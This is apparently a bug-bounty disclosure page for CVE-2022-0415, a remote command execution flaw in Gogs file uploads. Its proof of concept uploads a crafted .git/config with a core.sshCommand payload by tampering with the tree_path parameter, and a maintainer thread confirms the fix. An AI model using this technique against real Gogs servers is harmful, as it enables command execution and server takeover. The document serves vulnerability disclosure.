Remote Command Execution in uploading repository file in gogs/gogs

4

Valid Reported on Mar 11th 2022

Description

When uploading a file to the repository in Gogs, the `tree_path` parameter is not been validated. The attacker can set `tree_path=/.git/` to upload file into the `.git` directory. Rewrite `.git/config` file and set `core.sshCommand`, which leads to remote command execution vulnerability.

Proof of Concept

Create a repository in Gogs, upload a file `config` to the repository on the web page:

```
[core]
    repositoryformatversion = 0
    filemode = true
    bare = false
    logallrefupdates = true
    ignorecase = true
    precomposeunicode = true
    sshCommand = echo pwnned > /tmp/poc
[remote "origin"]
    url = git@github.com:torvalds/linux.git
    fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
    remote = origin
    merge = refs/heads/master
```

Intercept the HTTP POST form submitting request, and set parameter to `tree_path=/.git/` in request body.
Then a file with text `pwnned` is created in `/tmp/poc`.

Impact

This vulnerability is capable of executing commands on the remote server and gain the privileged user account, which leads sensitive data exposure, identity theft, etc.

Occurrences

repo_editor.go L490-L495

References

- Git Documentation - core.sshCommand

CVE
CVE-2022-0415
(Published)

Vulnerability Type
CWE-20: Improper Input Validation

Severity
Critical (9.9)

Visibility
Public

Status
Fixed

Found by

E99p1ant
@wuhan005
maintainer

This report was seen 2,266 times.

We are processing your report and will contact the **gogs** team within 24 ho

Chat with us

Joe Chen validated this vulnerability 8 months ago

E99p1ant has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

We have sent a fix follow up to the gogs team. We will try again in 7 days. 8 months ago

Joe Chen marked this as fixed in 0.12.6 with commit 0fef3c 8 months ago

The fix bounty has been dropped ✖

This vulnerability will not receive a CVE ✖

repo_editor.go#L490-L495 has been validated ✔

E99p1ant 8 months ago Maintainer

@admin Hi, can you assign a CVE ID for this report? Thanks.

Jamie Slome 8 months ago Admin

Hi @wuhan005 - before we assign and publish a CVE here, we require the permission of the maintainer.

@maintainer - are you happy for a CVE to be assigned and published for this report?

Joe Chen 8 months ago Maintainer

Yes, it would be great for having a CVE to be assigned and published for this report!

Jamie Slome 8 months ago Admin

`CVE-2022-0415` assigned and published! 🎊

E99p1ant 8 months ago Maintainer

Thanks a lot!

Sign in to join this conversation